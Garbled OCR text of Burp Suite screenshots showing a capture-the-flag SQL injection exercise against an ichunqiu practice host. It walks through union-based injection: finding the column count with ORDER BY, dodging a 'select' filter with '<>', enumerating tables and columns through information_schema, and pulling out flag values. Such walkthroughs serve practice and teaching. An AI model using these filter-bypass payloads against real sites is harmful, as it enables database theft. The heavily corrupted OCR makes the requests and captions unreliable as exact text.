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Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz
Burp Intruder Repeater Window Help

[Targel I Proxy I Spider T Scanner I Intruder IRepeatef I Sequencer I Decoder T Comparer I Extender I Project options I User options IAIerts }

12| 2x (..

— ‘u o lu | Raw | Headers | Hex HTMLTRender]

Go Cancel < |v >|r Target: http://3fb312906c5a4d019767a5507c2065d240c099882de4499f.ch,
Request Response

GET Jindgx. php?id=1+or /der+by+1 HTTP/1.1 : HTTPA .1 200 OK :
Host: 3fh3TO0eC5add0 o as507 c20eS dZA0e023882de 4499 changame. ichungiu. com Date: Thu, 20 Jun 2019 08:26:35 GMT
User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Type: text/html
Accept: text/html application/xhtml+xml,application/xml;g=0.9 */*, q=0.8 Content-Length: 135
Accept-Language: zh-CM,zh;g=0.8 zh-TW,g=0.7 zh-HIK;g=0.5 en-US;q=0.3 en;q=0.2 Connection: close
Accept-Encoding: gzip, deflate Wary: Accept-Encoding
Connection: close Wary: Accept-Encoding
Cookie: __ jsluid=307c802f6 e84 ccBeldabfl b7 7HhEE9S XVia-JSL: 7479442 -
Upgrade-Insecure-Requests: 1 ¥-Cache: bypass
<meta http-equiv="Content-Type" content="text/html; charset=utf-58" />
<I-SELECT *FROM info WHERE id=1 er™/der by 1-><hr />
e e
v v
7 < + > 0 matches 0 matches
Done 341 bytes | 147 millis
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Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz

Burp Intruder Repeater Window Help

[Target ]' Proxy I Spider T Scanner I Intruder IRepeatef T Sequencer ]' Decoder T Comparer I Extender ]' Project options I User options ]'Alerts }

1 = eyl -

Go Cancel <|v > | Target: http://3fb312906c5a4d019f67a5507c2065d2
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

2ded499f ch ichungi mm@@

GET Jindex php?\d=1+n<>rder+hy+3|H'I'I’Pf1 1 .A HTTP/1.1 200 OK

Host: 3fh312906c5ad 01967 a5507 c2065d240c093882de4499f. changame. ichungiu. com Date: Thu, 20 Jun 2019 08:28:46 GMT
User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; v:64.0) Gecko/20100101 Firefox/64.0 Content-Type: text/html

Accept: text/html application/shtml+xml applicationfxml;g=0.9 */* q=0.8 Content-Length: 164
Accept-Language: zh-CH, zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 Connection: close

Accept-Encoding: gzip, deflate Wary: Accept-Encoding

Connection: close Wary: Accept-Encoding

Cookie: _ jsluid=30f7c802f6 e84 ccBeldabfl b7 7695 ¥-Mia-JSL: 935cd27 -
Upgrade-Insecure-Requests: 1 ¥-Cache: bypass

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<I-SELECT * FROM ijfo WHERE id=1 order by 3-->

b /=flag{#e i FE R} <br f><br />

T




b =
v A
? = + > Type a search term 0 matches ? < + > Type a search term 0 matches

Done

370 bytes | 442 miilis
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Burp Intruder Repeater Window Help

[Targel I Proxy ISpider TScanner I Intruder IRepeatef TSequencer I Decoder TComparer I Extender I Project options I User options IAIerts }

1= |2 ..

Go Cancel <|v > Target: http://3fb312906c5a4d019f67a5507c2065d240c099882de4499f.chang ichungiu.com | & |7
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET findex.php?id=1+union+s<>elect+1 2 3 HTTP/.1 A HTTP/A .1 200 OK A
Host: 3fh312906c5a4d019f67 25507 c2065d240c093882de44991 changame. ichungiu. com r Date: Thu, 20 Jun 2015 08:30:30 GMT r
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; rv64.0) Gecko/20100101 Firefox/64.0 Content-Type: text/html
Accept: text/html application/xhtml+xml applicationfxml;g=0.9 */*,q=0.8 Content-Length: 185
Accept-Language: zh-CM,zh;g=0.8 zh-TW,q=0.7 zh-HI;q=0.5 en-US;q=0.3 en;q=0.2 Connection: close
Accept-Encoding: gzip, deflate Wary: Accept-Encoding
Connection: close Wary: Accept-Encaoding
Cookie: __ jsluid=30f7c802f6 e84 ccBeldabfl b7 7HhEGSS X-Via-JSL: 835cd27 -
Upgrade-Insecure-Requests: 1 ¥-Cache: bypass

<meta http-equiv="Content-Type" content="text/html; charset=utf-58" />

b/

ﬂ:’or * FROM info WHERE ie=1 union select 1,2, 3-->~ibr I>flag{Pe Bl e Y <br /> <br
f=2<bT

= =
v v
< + = Type a search term 0 matches ? < + E Type a search term 0 matches

391 byles | 81 miilis

?
Done

X7, BEEEWEEIEE: /index.php?id=1+union+s<>elect+1,database(),3
BEIBIEE: sqli

Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz - O >
Burp Intruder Repeater Window Help

[Targsl ]' Proxy ISpider TScarmer I Intruder IRepea:ef TSequsncer ]' Decoder W’Comparer I Extender ]' Project options I User options ]'Alsrts }

10 |2 ..

Go Cancel | [ < |v || > v Target: hitp://3b312906¢5a4d019f67a5507¢2065d2 2de4499f.ch ichungiu.com @@

Request Response
- r ¥ - Y




J Raw ‘ Params ‘ Headers | Hex |

J Raw | Headers | Hex |

GET Jindex.php?id=1+union+s<>elect+1 database(),3 HTTP/M 1 :
Host: 3fh312906c5a4d0 1967 a5507 2065 d240c093882de4499f changame. ichungiu. com
User-Agent: Mozilla/s.0 (Windows T 10.0;, WinB4; x64; nv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html application/shtml+xml applicationfxml;g=0.9 /", q=0.8
Acecept-Language: zh-CM,zh;q=0.8 zh-TW,q=0.7 zh-HIK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: _ jsluid=30f7 c802f5 e84 ccBe0dabfl by ThEB95
Upgrade-Insecure-Requests: 1
b
v
m uJ u M Type a search term 0 matches

Done

HTTPA .1 200 OK

Date: Thu, 20 Jun 2019 08:33:07 GMT
Content-Type: text/html
Content-Length: 197

Connection: close

Wary: Accept-Encoding

Wary: Accept-Encoding

H-Via-JSL: 7479442 -

¥-Cache: bypass

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

CT * FROM info WHERE ic=1 union select 1,database(), 3-><br [>flag{t # & B }<br
bifi=<br />

earch ferm

w

|
J
d
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Type a

i3

e
b

0 matches

403 bytes | 1,108 miilis

BRERIRRA

/index.php?id=1+union+s<>elect+1,

(sel<>ect%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),3

BRWAERA:

info,users

Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz

Burp Intruder Repeater Window Help

[Targel ]' Proxy ISpider TScanner I Intruder IRepeaer TSequencer ]' Decoder T Comparer I Extender ]' Project options I User options ]'Alerls }

1 = [Zaxyl -

findex php?id=1+union+s<>elect+1 (sel<>ect%20group_concat(table_name)%20from%20information
_schema tab\es%20whe\'9%2013ble_schema:database(])l,S HTTPM .1

Host: 3fb312906c5add0 1967 a5507 2065 d240c093862de4493f changame. ichungiu. com

User-Agent: Mozilla/s.0 (Windows WT 10.0;, WinE4; x64; nv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html application/shtml+xml applicationfxml;g=0.9 ", q=0.8

Acecept-Language: zh-CM,zh;q=0.8 zh-TW,q=0.7 zh-HIK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: __sluid=30f7 cB02f5 e84 ccBeOdabfl b7 7hEBIS

Upgrade-Insecure-Requests: 1

Date: Thu, 20 Jun 2019 08:36:12 GMT
Content-Type: text/html
Content-Length: 287

Connection: close

Wary: Accept-Encoding

Wary: Accept-Encoding

X-Via-JSL: 7479442 -

¥-Cache: bypass

<meta http-equiv="Content-Type" content="text/html; charset=utf-5" />

CT * FROM info WHERE id=1 union select 1,(select group_concat{table_name) from
info hemajables where table_schema=database()), 3--><br />Aag{ZE Fh FE P )<br f><br

{=info,users<br f=<hi| />

Go Cancel <|v > | Target: http://3fb312906c5a4d019f67a5507c2065d240c099882de4499f.changame.ichunqgiu.com .ef ?
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET A HTTP/.1 200 OK .
-




4

0 matches

[EJ EJ EJ B Type a search term

Done

7 EJ B B Type a search term

493 bytes | 1

4

0 matches

19 milis

¥l fEusersH, , ,
HIRH 4

/index.php?id=1+union+s<>elect+1,

(sel<>ect%20group_concat(column_name)%20from%20information_schema.columns%2@where%20table name="users"),3

18%: id,username,flag 9c861b688330

Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz

Burp Intruder Repeater Window Help

[Targel I Proxy I Spider T Scanner I Intruder IRepeatef I Sequencer I Decoder T Comparer I Extender I Project options I User options IAIerts }

1 |2 ..

Go Cancel < |v > | Target: http://3fb312906c5a4d019f67a5507c2065d240c099882ded495f.ch ich
Request Response
Raw | Params | Headers | Hex

Raw | Headers | Hex

GET A
findex. php?id=1+union+s<>elect+1 (sel<>ect%20group_concat(column_name)%20from%20informati
on_schema.columns%20where%20table_name="users"),3 HTTP/1.1

Host: 3fh312906c5ad 01967 a5507 c2065d240c093882de4499f. changame. ichungiu. com

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; v:E4.0) Gecko/20100101 Firefox/64.0
Accept: text/html application/shtml+xml applicationfxml;g=0.8 */*, q=0.8

Accept-Language: zh-CMN, zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: _ jsluid=30f7 c802fE e84 ccBeOdabfl by 7hEB95

Upgrade-Insecure-Requests: 1

-
v

< + = Type a search term

0 matches

?
Done

HTTP/A .1 200 CK

Date: Thu, 20 Jun 2019 08:38:33 GMT
Content-Type: text/html
Content-Length: 303

Connection: close

Wary: Accept-Encoding

Wary: Accept-Encoding

KVia-JSL: 7479442 -

¥-Cache: bypass

<meta http-equiv="Content-Type" content="text/html; charset=utf-5" />

<I-SELECT * FROM info WHERE id=1 union select 1,(select group_concat(column_name) from
information_schema.columns where table_name="users"), 3--><br />flag{#E I B
fzid,username,flag_9cB61b688330<hr /=<hr />

,T EJ B B Type a search term

0 matches

>

e
v

L AE flag_9c861b688330 HLIH :
Efy_‘b%éﬂ/‘]’ LIS I

/index.php?id=1+union+s<>elect+1, (sel<>ect%20group_concat(flag_9c861b688330)%20from%s20users), 3
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Burp Intruder Repeater Window Help

[Targst ]' Proxy I Spider W’ Scanner I Intruder IRepea:ef T Sequencer ]' Decoder W’ Comparer I Extender ]' Project options I User options ]'Alsrts }

10 |2 ..

Go Cancel <|v > |

Request

Raw | Params | Headers | Hex

Target: http://3fb312906c5a4d019f67a5507c2065d2:

9ded499f ch. b

Response

Raw | Headers | Hex HTMLTRender]

GET [a
findex php?id=1+union+s<>elect+1 (sel<>ect%20group_concat(flag_9cB61b688330)%20from %20use

rg), 3 HTTR/M .1

Host: 3fb312906c5a4d019f67 a5507 c2065d240:099882de4499 changame. ichungiu. com

User-Agent: Mozilla/s.0 (Windows KT 10.0; WinB4; x64; rv:B4.0) Gecko/20100101 Firefox/64.0

HTTR/.1 200 OK

Date: Thu, 20 Jun 2019 08:40:31 GMT
Content-Type: text/html
Caontent-Length: 189

Connection: close




Accept: text/html application/xhtml+xml applicationfxml;g=0.9 */*,q=0.8 Wary: Accept-Encoding
Accept-Language: zh-CM,zh;g=0.8 zh-TW,q=0.7 zh-HI;q=0.5 en-US;q=0.3 en;q=0.2 Wary: Accept-Encoding
Accept-Encoding: gzip, deflate ¥-Mia-JSL: 7479442 -
Connection: close ¥-Cache: bypass
Cookie: __jsluid=30f7 c802f5 e84 ccBe0dabfl by ThEBIS

Upgrade-Insecure-Requests: 1 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

n users), 3--=<hr >

k.
v

[ ECT ™ FROM info WHERE id=1 union select 1,(select group_concat{flag_9c861b688330)

0 matches ? < + =

HEERNERERT, EX: /index.php?id=1+union+s<>elect+1,

(sel<>ect%20group_concat(column_name)%20from%20information_schema.columns%20where%20table name="info"), 3

BIR BH—Magh 4. id,title,f1Ag T5ZNdrm

11

e
¥

0 matches

Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz - O >
Burp Intruder Repeater Window Help
[Targel ]’ Proxy I Spider T Scanner I Intruder IRepeatar T Sequencer ]’ Decoder T Comparer I Extender ]’ Project options I User options ]’Alerls }
1 e |2 x|
Go Cancel < |v > | Target: htp://3fb312906c5a4d019f67a5507c2065d240c099882de4499f.changame.ichungiv.com | # | 7
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET A HTTP/.1 200 OK &
- -
findex php?id=1+union+s<>elect+1 (sel<>ect%20group_concat(column_name)%20from%20informati Date: Thu, 20 Jun 2019 08:43:12 GMT
on_schema.columns%20where %20table_name="info") 3 HTTP/1.1 Content-Type: text/html
Host: 3fb312906c5add0 1967 a5507 2065 d240c093862de4493f changame. ichungiu. com Content-Length: 294
User-Agent: Mozilla/s.0 (Windows WT 10.0;, WinE4; x64; nv:64.0) Gecko/20100101 Firefox/64.0 Connection: close
Accept: text/html application/shtml+xml applicationfxml;g=0.9 /" q=0.8 Wary: Accept-Encoding
Accept-Language: zh-CM,zh;g=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US;g=0.3 en;q=0.2 Wary: Accept-Encoding
Accept-Encoding: gzip, deflate ¥-Via-JSL: 7479442 -
Connection: close ¥-Cache: bypass
Cookie: _sluid=30f7 cB02f65e84 ccBeOdabfl by ThEBIS
Upgrade-Insecure-Requests: 1 <meta http-equiv="Content-Type" content="text/html; charset=utf-5" />
lect 1,{select group_concat(column_name) from
info"), 3—=<br I>flag{*e E AR PR} <br /><br
e e
v v
? < + = arch ferm 0 matches ? < + = 3 search 0 matches




FRAR NI AE N /index.php?id=1+union+s<>elect+1, (se<>lect%20group_concat(flAg T5ZNdrm)%20from%20info),3
19%lflag: flag{fc2ifcbe-7afa-4bab-9bad-e95a8fc728c4}

Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz - O X
Burp Intruder Repeater Window Help
[Targel I Proxy I Spider T Scanner I Intruder IRepeatef I Sequencer I Decoder T Comparer I Extender I Project options I User options IAIerts }
1% | 2% ..
Go Cancel < |v > v Target: http://31b312906c5a4d019f67a5507c2065d240c099882de4499f.ch ichungiu.com [ﬂ EJ
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET : HTTPA.1 200 OK ’A
findex php?id=1+union+s<>elect+1 (se<>lect%20group_concat(flAg_TSZMdrm)%20from%20info) 3 Date: Thu, 20 Jun 2019 08:44:44 GMT
HTTR/M.1 Content-Type: text/html
Host: 3fb312906c5add01967 a5507 c2065d240c093882de4499f changame. ichungiu. com Content-Length: 275
User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; v:64.0) Gecko/20100101 Firefox/64.0 Connection: close
Accept: text/html application/xhtml+xmlapplicationfxml;g=0.9 /", q=0.8 Wary: Accept-Encoding
Accept-Language: zh-CM,zh;g=0.8 zh-TW,q=0.7 zh-HK;g=0.5 en-US,q=0.3 en;q=0.2 Wary: Accept-Encoding
Accept-Encoding: gzip, deflate ¥Mia-JSL: el7d292 -
Connection: close ¥-Cache: bypass
Cookie: _ jsluid=30f7 cB02fE e84 ccBeOdabfl by ThEBIS
Upgrade-Insecure-Requests: 1 <meta http-equiv="Content-Type" content="text/html; charset=utf-58" />
<I-SELECT * FROM info WHERE id=1 union select 1.(select group_concat(flAg_T5ZNdrm) from
info), 3--=<br f>flag{7E # i FE P Y<br /> <br
/=flag{fc21fche Tafa4bdb9bad-ed5aBfci28cd ) test<br /><br />
e e
v A
? < + B 0 matches ? < + = h term 0 matches
=3 n
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